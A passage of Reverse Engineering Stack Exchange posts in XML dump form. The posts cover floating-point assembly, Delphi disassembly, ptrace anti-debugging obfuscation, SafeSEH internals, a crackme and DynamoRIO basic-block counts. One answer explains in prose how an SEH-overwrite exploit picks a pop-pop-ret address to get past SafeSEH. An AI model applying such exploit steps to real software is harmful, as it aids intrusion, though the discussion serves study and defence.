  <row Id="11288" PostTypeId="2" ParentId="11286" CreationDate="2015-11-09T15:40:25.960" Score="3" Body="&lt;p&gt;Have &lt;code&gt;someRoutine&lt;/code&gt; perform the following actions (in C below for example purposes) --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD* p = (DWORD*)malloc(8);&#xA;p[0] = 0;&#xA;p[1] = (SIZE_T)p - 1204;&#xA;return p;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously this is a memory-leak since the allocated memory never gets &lt;code&gt;free()&lt;/code&gt;'d, so you wouldn't want to use this approach if &lt;code&gt;someRoutine&lt;/code&gt; gets called often. However it's not feasible to offer a better recommendation without us knowing the memory layout of the actual program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit:&lt;/strong&gt; Updated based on @tathanhdinh's suggestion.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-11-09T17:44:27.757" LastActivityDate="2015-11-09T17:44:27.757" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11289" PostTypeId="1" CreationDate="2015-11-09T15:45:22.183" Score="1" ViewCount="415" Body="&lt;p&gt;i'm reversing this function doing this floating point calculations which eventually leads to a crucial compare. I need to understand what exactly are the calculations that are made and i want to re-write them in python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i need to rewrite this whole piece of code because the calculations that happen later on are some sort of key generation, but i cant understand what is the calculation done in here.. I was hoping someone could help me figure this out, while i give all the information i already understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The piece of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub     esp, 8&#xA;movsd   xmm0, ds:MEMORY1 ; mov 128-bit memory    &#xA;movsd   [esp+1437Ch+var_1437C], xmm0    &#xA;mov     eax, [ebp+ItirationCounter_var_60]&#xA;mov     [ebp+CurrentCounter_var_A8], eax    &#xA;cvtsi2sd xmm0, [ebp+CurrentCounter_var_A8] ; Convert to floating point into xmm0    &#xA;mov     ecx, [ebp+CurrentCounter_var_A8] ; 32    &#xA;shr     ecx, 1Fh        ; 0    &#xA;addsd   xmm0, ds:MEMORY2[ecx*8] ; adds 0    &#xA;sub     esp, 8    &#xA;movsd   [esp+14384h+var_14384], xmm0    &#xA;call    msvcrt.fmod            ; returns A / B floating point remainer    &#xA;add     esp, 10h    &#xA;fstp    [ebp+var_F8]    ; Store ST0 in memory    &#xA;movsd   xmm0, [ebp+var_F8]    &#xA;ucomisd xmm0, ds:MEMORY3 ; always zero    &#xA;lahf                    ; load AH Flag register    &#xA;test    ah, 44h    &#xA;jp      short CrucialFunction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, so the op-codes \ pieces of code i dont understand are: &lt;code&gt;addsd   xmm0, ds:MEMORY2[ecx*8]&lt;/code&gt;, &lt;code&gt;call fmod&lt;/code&gt; and the &lt;code&gt;ucomisd xmm0, [MEMORY1]&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I can understand that the fmod function is receiving the arguments from the xmm0 opcodes that happen earlier with the &lt;code&gt;sub esp, 8&lt;/code&gt;, but the output is not the same as the output i recieve when doing this function on python.. maybe im missing something.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;i just dont understand what &lt;code&gt;ucomisd&lt;/code&gt; is doing.. and how it effects the &lt;code&gt;ZeroFlag&lt;/code&gt; and &lt;code&gt;ParityFlag&lt;/code&gt;, so this is an issue...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;here is my so-far python implementation i made for this little piece of code (it runs in a loop which is missing for the code-snap i gave, so bare with me please)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MEMORY1 = 0x4024000000000000 #qword_7600D600&#xA;MEMORY2 = [0x0, 0x41F0000000000000] #qword_7600D620&#xA;MEMORY3 = 0x0&#xA;&#xA;def ToDoublePrecision(value):&#xA;    # cvtsi2sd xmm0, value&#xA;    return hex(struct.unpack('&amp;lt;Q', struct.pack('&amp;lt;d', value))[0])&#xA;&#xA;def KeyGeneration():&#xA;    counter = 0&#xA;    while 1:&#xA;        counter &amp;amp;= 0xFFFFFFFF # Sanity - maintain 32 bit&#xA;        xmm0 += MEMORY2[(counter) &amp;gt;&amp;gt; 0x1F] # This is wrong.. ---- addsd   xmm0, ds:MEMORY2[ecx*8] &#xA;        if(1 == (0x80000000 &amp;amp; counter)):&#xA;            pass # I dont know what is going on in here..&#xA;        else:&#xA;            xmm0 = ToDoublePrecision(counter) # This is a little hack.. the value at MEMORY[0] is 0x0.. so i just decided this should happen&#xA;&#xA;        # This calculation is inaccurate for some reason, and differs a lot from the output on register ST0    &#xA;        result = math.fmod(MEMORY1, xmm0)&#xA;        ....&#xA;        ....&#xA;&#xA;        &quot;&quot;&quot;&#xA;        ZeroFlag = 1, well if the last calculatio is set to zero&#xA;        ParityFlag = 1, is set if the last calculation amount of set bits ('1' - ones) is odd&#xA;        &quot;&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm just stuck on these opcodes for quite some time.. if anyone can give me a good reference on the internet which explains how they work or what they do.. That could be super helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of an fmod call and its arguments:&#xA;Just before the &lt;code&gt;CALL msvcrt.fmod&lt;/code&gt; instruction, ESP looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EBP-14384 012FBC30   00000000&#xA;EBP-14380 012FBC34   40438000&#xA;EBP-1437C 012FBC38   00000000&#xA;EBP-14378 012FBC3C   40240000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my &lt;code&gt;ItirationCounter&lt;/code&gt; is set to &lt;code&gt;0x27&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the result of the &lt;code&gt;msvcrt.fmod&lt;/code&gt; function into ST0 is&#xA;&lt;code&gt;Float 9.0000000000000000000&lt;/code&gt;, &lt;code&gt;Hex 4002 90000000 00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to 'var_F8' after the opcode &lt;code&gt;fstp    [ebp+var_F8]&lt;/code&gt;, the value is a QUAD_WORD of &lt;code&gt;0x40220000 00000000&lt;/code&gt; (Ordered)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all that, &lt;code&gt;LAHF&lt;/code&gt; changes &lt;code&gt;AX&lt;/code&gt; to the value &lt;code&gt;0x220&lt;/code&gt;, which means &lt;code&gt;AH&lt;/code&gt; is &lt;code&gt;0x02&lt;/code&gt;. &#xA;the jump is taken.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="11510" LastEditDate="2015-11-10T07:48:01.497" LastActivityDate="2015-11-10T07:48:01.497" Title="Analyse a piece of code using FloatingPoint instructions and calculations" Tags="|assembly|x86|python|float|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11290" PostTypeId="2" ParentId="11289" CreationDate="2015-11-09T17:46:19.777" Score="1" Body="&lt;p&gt;&lt;code&gt;sub     esp, 8&#xA;movsd   xmm0, ds:MEMORY1 ; mov 128-bit memory&#xA;movsd   [esp], xmm0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fetch MEMORY1.  This will be our denominator in fmod().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov     eax, [ebp+ItirationCounter_var_60]&#xA;mov     [ebp+CurrentCounter_var_A8], eax&#xA;cvtsi2sd xmm0, [ebp+CurrentCounter_var_A8] ; Convert to floating point into xmm0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fetch Counter as a floating-point number.  This will be our numerator in fmod().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov     ecx, [ebp+CurrentCounter_var_A8] ; 32&#xA;shr     ecx, 1Fh        ; 0&#xA;addsd   xmm0, ds:MEMORY2[ecx*8] ; adds 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This part is adjusting for negative numbers.  I doubt that the counter will ever be so large, so it is not interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub     esp, 8&#xA;movsd   [esp], xmm0&#xA;call    msvcrt.fmod            ; returns A / B floating point remainer&#xA;add     esp, 10h&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So fmod(counter, memory1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fstp    [ebp+var_F8]    ; Store ST0 in memory&#xA;movsd   xmm0, [ebp+var_F8]&#xA;ucomisd xmm0, ds:qword_7600D5E8 ; always zero&#xA;lahf                    ; load AH Flag register&#xA;test    ah, 44h&#xA;jp      short CrucialFunction&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JP branch will be taken only in two cases: that AH is 44h or AH is 00h.&#xA;The first case happens when the values are equal (i.e. the return from fmod() is zero).&#xA;The second one happens when the return from fmod() has an odd number of bits set, so 1 2 4 7 8 11...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Python version has reversed the numerator and denominator parameters.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-11-09T17:46:19.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11291" PostTypeId="1" CreationDate="2015-11-09T18:35:01.017" Score="1" ViewCount="60" Body="&lt;p&gt;I have been digging around and I found a bunch of code that always repeat instructions and my friend suggested that it's calculation of text and he said delphi parameters use eax,edx and ecx.&#xA;I would like to know what is array of Applicable components according to its use in the following code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what's happening in this code, is it really calculation of text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why  005A6D9D push dword ptr [ebx+esi*4+0C]  puts 00000018 on the stack  instead of 00000011?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the piece of the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 005A6D66 mov ebx,dword ptr [ebx+esi*4+1DC] &#xA; 005A6D6D push ebx &#xA; 005A6D6E imul ebx,edx,2E2B &#xA; 005A6D74 imul edi,eax,91B7C &#xA; 005A6D7A lea edi,[edi*8+5FD208]; gvar_005FD208:array[101] of TApplicableComponents &#xA; 005A6D81 push dword ptr [edi+ebx*4+4] &#xA; 005A6D85 imul ebx,edx,2E2B &#xA; 005A6D8B imul edi,eax,91B7C &#xA; 005A6D91 lea edi,[edi*8+5FD208]; gvar_005FD208:array[101] of TApplicableComponents &#xA; 005A6D98 lea ebx,[edi+ebx*4] &#xA; 005A6D9B push ebx &#xA; 005A6D9C pop ebx &#xA; 005A6D9D push dword ptr [ebx+esi*4+0C] &#xA; 005A6DA1 imul edx,edx,2E2B &#xA; 005A6DA7 imul eax,eax,91B7C &#xA; 005A6DAD lea eax,[eax*8+5FD208]; gvar_005FD208:array[101] of TApplicableComponents &#xA; 005A6DB4 lea eax,[eax+edx*4] &#xA; 005A6DB7 mov ecx,dword ptr [eax+esi*4+10] &#xA; 005A6DBB pop edx &#xA; 005A6DBC pop eax &#xA; 005A6DBD call 005A3FA8 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13434" LastActivityDate="2015-11-09T18:35:01.017" Title="What is array of applicable components?" Tags="|patch-reversing|delphi|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11292" PostTypeId="2" ParentId="11279" CreationDate="2015-11-09T21:04:17.390" Score="2" Body="&lt;p&gt;i believe this cant be done easily without debug information \ symbols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Statically linked libraries means that part of the code of the program contains the functions of the third party libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets take for example an open ssl library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you compile your code with the openssl code attached (as part of your code solution), in the assembly you cant really know which part of the code is part of the library and which one is the code of your main program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a way to figure out if a library is linked into your program, you might want to try to look for debug strings that were left behind during compilation that would help out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for future reference and finding dynamically linked libraries, i would suggest CFF-explorer&lt;/p&gt;&#xA;" OwnerUserId="11510" LastActivityDate="2015-11-09T21:04:17.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11293" PostTypeId="1" CreationDate="2015-11-10T08:23:20.387" Score="0" ViewCount="1044" Body="&lt;p&gt;I am trying to detect whether my executable is running in a debugger. &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1930/detecting-tracing-in-linux&quot;&gt;Here&lt;/a&gt; is a solution using &lt;code&gt;ptrace&lt;/code&gt;.&#xA;My problem is that even if my executable is stripped (&lt;code&gt;strip a.out&lt;/code&gt;) I am able to find with gdb the following code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000004007e9: mov    $0x0,%ecx&#xA;0x00000000004007ee: mov    $0x1,%edx&#xA;0x00000000004007f3: mov    $0x0,%esi&#xA;0x00000000004007f8: mov    $0x0,%edi&#xA;0x00000000004007fd: mov    $0x0,%eax&#xA;0x0000000000400802: callq  0x4006d0 &amp;lt;ptrace@plt&amp;gt;&#xA;0x0000000000400807: cmp    $0xffffffffffffffff,%rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I simply run &lt;code&gt;(gdb)info files&lt;/code&gt;, and disassembled the memory location belonging to &lt;code&gt;.text&lt;/code&gt;.&#xA;Is there a way to get rid from &lt;code&gt;&amp;lt;ptrace@plt&amp;gt;&lt;/code&gt;, or is there a better way to detect the debugger beside the methods based on software breakpoints or execution time measuring?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-11-10T14:03:31.467" Title="Hiding call to ptrace" Tags="|gdb|anti-debugging|" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-18T05:54:22.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="11295" PostTypeId="2" ParentId="11293" CreationDate="2015-11-10T13:45:38.300" Score="1" Body="&lt;p&gt;You have 2 simple options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can link your executable statically and then strip (add -static to compiler/linker command line). &lt;/li&gt;&#xA;&lt;li&gt;You can invoke ptrace system call using inline assembly&lt;/li&gt;&#xA;&lt;li&gt;If you will invoke ptrace as system call with inline assembly you can obfuscate calculation of syscall parameters (index of system call is passed via registers, and you can calculate this number instead of using correct number directly for example).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of other, more complicated options, is endless.&#xA;For example you can call this ptrace by function pointer, which is calculated dynamically. There are a lot of ways to obfuscate a function pointer value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that using obfuscation of any kind is &quot;security through obscurity&quot; and not too much effective without other, more effective measures such as encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-11-10T14:03:31.467" LastActivityDate="2015-11-10T14:03:31.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11297" PostTypeId="1" CreationDate="2015-11-10T15:44:10.460" Score="7" ViewCount="7645" Body="&lt;p&gt;How does Windows SafeSEH mechanism work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how the overwriting SEH exploitation technique works. I do not quite understand how the SafeSEH mechanism works preventing this technique from working. This question is about inner workings of the SafeSEH mechanism.&lt;/p&gt;&#xA;" OwnerUserId="12513" LastActivityDate="2015-11-10T20:08:21.603" Title="How does Windows SafeSEH mechanism work?" Tags="|windows|exploit|seh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11298" PostTypeId="2" ParentId="11297" CreationDate="2015-11-10T15:44:10.460" Score="4" Body="&lt;p&gt;I post my own answer based on my own research. I am not sure about correctness of the parts in bold. Comments correcting my answer or fuller and better answers are welcome. I will edit out the boldness after I receive comments confirming or refuting my assumptions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Assume that your malicious buffer overwrote the &lt;code&gt;_EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; and you found its offset. Now as a first step of SEH exploitation you need to overwrite the record's second field, &lt;code&gt;PEXCEPTION_ROUTINE&lt;/code&gt;, with address of &lt;code&gt;pop pop ret&lt;/code&gt; instruction sequence. At this point, &lt;strong&gt;if you do not try to find this sequence in the .exe module being exploited, it does not matter if it was compiled with &lt;code&gt;/SAFESEH&lt;/code&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you turn to picking &lt;code&gt;pop pop ret&lt;/code&gt; instruction sequence address from one of DLLs loaded by the vulnerable executable. After you picked that address and overwrote the &lt;code&gt;PEXCEPTION_ROUTINE&lt;/code&gt; field with it, &lt;strong&gt;at the time of exception the OS takes that address, determines the .dll module the address belongs to, and if the .dll was compiled with &lt;code&gt;/SAFESEH&lt;/code&gt;, checks if that .dll's module &lt;em&gt;safe exception handler table&lt;/em&gt; contains the given address.&lt;/strong&gt; If the .dll was built with &lt;code&gt;/SAFESEH&lt;/code&gt; and the address you used is not present in the table, the execution flow is not passed to that address and exploitation fails. If the .dll was built without &lt;code&gt;/SAFESEH&lt;/code&gt;, then OS has nothing to check against and this step of the exploitation works.&lt;/p&gt;&#xA;" OwnerUserId="12513" LastActivityDate="2015-11-10T15:44:10.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11299" PostTypeId="2" ParentId="9303" CreationDate="2015-11-10T19:07:11.593" Score="1" Body="&lt;p&gt;Had the same problem, couldn't find the answer anywhere so i found a workaround.&#xA;I jumped to the address I wanted to watch and used Edit -&gt; Array. Just choose the size of the array you want to watch and then when you add the address to the watch list it adds all the array. Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="14095" LastActivityDate="2015-11-10T19:07:11.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11300" PostTypeId="1" CreationDate="2015-11-10T20:00:27.647" Score="1" ViewCount="775" Body="&lt;p&gt;I'm trying to do some reverse-engineering to a DirectX 9 game. I've used PIX to see all the DirectX calls of the game, and that part worked correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I wanted to know where in the code those functions were called from. Therefore, I tried to use API Monitor, but there I got the first surprise: no calls were being found to &lt;strong&gt;Graphics and Gaming/DirectX Graphics and Gaming&lt;/strong&gt; (where all the Direct3D functions are).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As that didn't work, I used IDA instead; In the Imports window, only these were being shown:&#xA; &lt;a href=&quot;https://i.stack.imgur.com/b3wcg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b3wcg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the Functions window, none of the DirectX functions was found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is this the proper way (if it's possible at all) of doing this? Also, how is that API Monitor doesn't register any DirectX calls, although PIX does?&lt;/p&gt;&#xA;" OwnerUserId="13833" LastActivityDate="2015-11-10T20:00:27.647" Title="DirectX calls not appearing" Tags="|ida|functions|call|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11301" PostTypeId="2" ParentId="11297" CreationDate="2015-11-10T20:08:21.603" Score="5" Body="&lt;p&gt;Regarding your original question: Upon ntdll.dll loading each PE image, the list of exception handler addresses in the PE image is parsed and each address is inserted into a sorted list that ntdll.dll internally uses. When an exception hits, ntdll.dll!KiUserExceptionDispatcher will try to figure out which exception in the SEH chain to use. In turn, each exception handler address is scanned for in this list (by ntdll.dll). If it is found, then the exception filter is allowed to run. If not, then ntdll.dll will throw exception and essentially fastfail the thread with 0xC00001A5: An invalid exception handler routine has been detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to browse the &quot;code&quot; yourself, break on KiUserExceptionDispatcher, throw an exception in a dummy program, and step through. You can also scan ntdll in IDA for 0xC00001A5 (should not occur very often) and when you see that used, that is the point at which ntdll has decided to fastfail your thread (may be hard to step back due to codepath locality optimizations).&lt;/p&gt;&#xA;" OwnerUserId="14096" LastActivityDate="2015-11-10T20:08:21.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11302" PostTypeId="2" ParentId="11261" CreationDate="2015-11-10T20:41:15.553" Score="0" Body="&lt;p&gt;Have you tried in 1.10? I have and have no issue. Make sure you leave the dialog opened, and instead of hitting Alt-F9 I found the option in the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible but unlikely that this feature is broken in Olly 2&lt;/p&gt;&#xA;" OwnerUserId="14098" LastActivityDate="2015-11-10T20:41:15.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11303" PostTypeId="1" AcceptedAnswerId="11322" CreationDate="2015-11-10T22:07:26.293" Score="1" ViewCount="1122" Body="&lt;p&gt;I have reversed the code of this simple crackme(more like reverseme :)) but I don't understand how to create valid password for the algorithm.&#xA;Here's the reversed code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char* argv[]) {&#xA;    if(argc&amp;lt;2)&#xA;        return -1;&#xA;&#xA;    char *original = argv[1]; &#xA;    char *password = strdup(original);&#xA;    int success = 0xFD0970E7;&#xA;    int i, j;&#xA;    for (i = random() &amp;amp; 0xFF; i &amp;gt; 0; i--) {&#xA;        for (j = 0; j &amp;lt; (int)strlen(original); j++) {&#xA;            password[j] = password[j] ^ random();&#xA;        }&#xA;    }&#xA;&#xA;    i = 0x1337;&#xA;    for (j = strlen(original)-1; j &amp;gt;= 0; j--) {&#xA;        i = i * password[j] + 0x31337;&#xA;    }&#xA;&#xA;    if (i == success) {&#xA;        printf(&quot;SUCCESS\n&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    printf(&quot;WRONG\n&quot;);&#xA;    return -1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that since random() isn't seeded I can control the input that gets to the later stages of the program, but I don't get how can I use it to solve it :(&lt;/p&gt;&#xA;" OwnerUserId="14099" LastActivityDate="2015-11-13T12:27:16.563" Title="How to break this reversing exercise" Tags="|crackme|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11304" PostTypeId="1" CreationDate="2015-11-10T22:07:27.650" Score="1" ViewCount="141" Body="&lt;p&gt;I've been testing DynamoRio and &lt;a href=&quot;https://github.com/ea/minblox&quot; rel=&quot;nofollow&quot;&gt;minblox&lt;/a&gt; to do coverage analysis, and I've got a question, when I run a the bbcount sample on ping.exe (not passing parameters) several times, I get different count of basic blocks and I'm not changing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same happens with bbcoverage/minblox, I get different traces, for example with 100 runs, I get only 44 traces that are exactly the same, the others are quite different (extra/missing blocks). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried with this trivial program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char* argv[]) {&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bbcount still produces different outputs, it may change less but it still does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Instrumentation results:&#xA;     14075 basic block executions&#xA;       528 basic blocks needed flag saving&#xA;      1109 basic blocks did not&#xA;&#xA;Instrumentation results:&#xA;     14075 basic block executions&#xA;       529 basic blocks needed flag saving&#xA;      1108 basic blocks did not&#xA;&#xA;Instrumentation results:&#xA;     14159 basic block executions&#xA;       529 basic blocks needed flag saving&#xA;      1108 basic blocks did not&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this behavior expected? I'm testing on Windows with ASLR disabled (using EMET).&lt;/p&gt;&#xA;" OwnerUserId="14091" LastEditorUserId="14091" LastEditDate="2015-11-11T14:38:09.077" LastActivityDate="2015-11-11T14:38:09.077" Title="Different basic block count when running application several times" Tags="|dynamic-analysis|dynamorio|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11305" PostTypeId="1" AcceptedAnswerId="11308" CreationDate="2015-11-11T02:44:46.840" Score="3" ViewCount="4140" Body="&lt;p&gt;I have a function prototype generated by IDA that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qav80.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qav80.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it looks like there is a struct being referenced at the instruction &lt;strong&gt;lea edi, [esp+290h+var_240]&lt;/strong&gt;. I would like IDA to reference this passed address as an argument in its function prototype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the approach below, but it is clear that it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lHm32.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lHm32.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to see is something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yGgF1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGgF1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="13909" LastActivityDate="2015-11-12T10:27:41.697" Title="How to create function prototype that recognizes arguments passed by reference in IDA Pro" Tags="|ida|x86|calling-conventions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11306" PostTypeId="2" ParentId="11303" CreationDate="2015-11-11T03:07:15.130" Score="1" Body="&lt;p&gt;In C/C++, rand() has a default seed of 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char const* argv[])&#xA;{&#xA;  srand(1);&#xA;  int foo = rand();&#xA;  printf(&quot;%d\n&quot;, foo);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will always give you same results as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char const* argv[])&#xA;{&#xA;  int foo = rand();&#xA;  printf(&quot;%d\n&quot;, foo);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you change the value in srand() to something different, you will see that you will get a different number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, in the solution to your crackme, you can simply use rand() without using srand(), or you could use srand(1) before rand() since an unseeded rand() (or a rand() preceded by a call to srand(1)) will always yield the same results.&lt;/p&gt;&#xA;" OwnerUserId="13909" LastActivityDate="2015-11-11T03:07:15.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11307" PostTypeId="2" ParentId="11304" CreationDate="2015-11-11T07:25:24.653" Score="1" Body="&lt;p&gt;This behaviour is expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;em&gt;ping&lt;/em&gt;, the execution trace largely depends on the network at any given run. If one ping succeeds in 0.1 ms there is no guarantee that the next will also succeed within the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ping uses non-blocking IO to receive datagrams over the network. This means it will make repeated tries before bailing out. Correspondingly, you would get different execution traces for those runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, here is the relevant &lt;a href=&quot;https://github.com/mirror/reactos/blob/master/reactos/base/applications/network/ping/ping.c&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; snippet of ping taken from ReactOS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Expect to receive ICMP echo reply */&#xA;FD_ZERO(&amp;amp;Fds);&#xA;FD_SET(IcmpSock, &amp;amp;Fds);&#xA;Timeval.tv_sec  = Timeout / 1000;&#xA;Timeval.tv_usec = Timeout % 1000;&#xA;&#xA;do {&#xA;    Status = select(0, 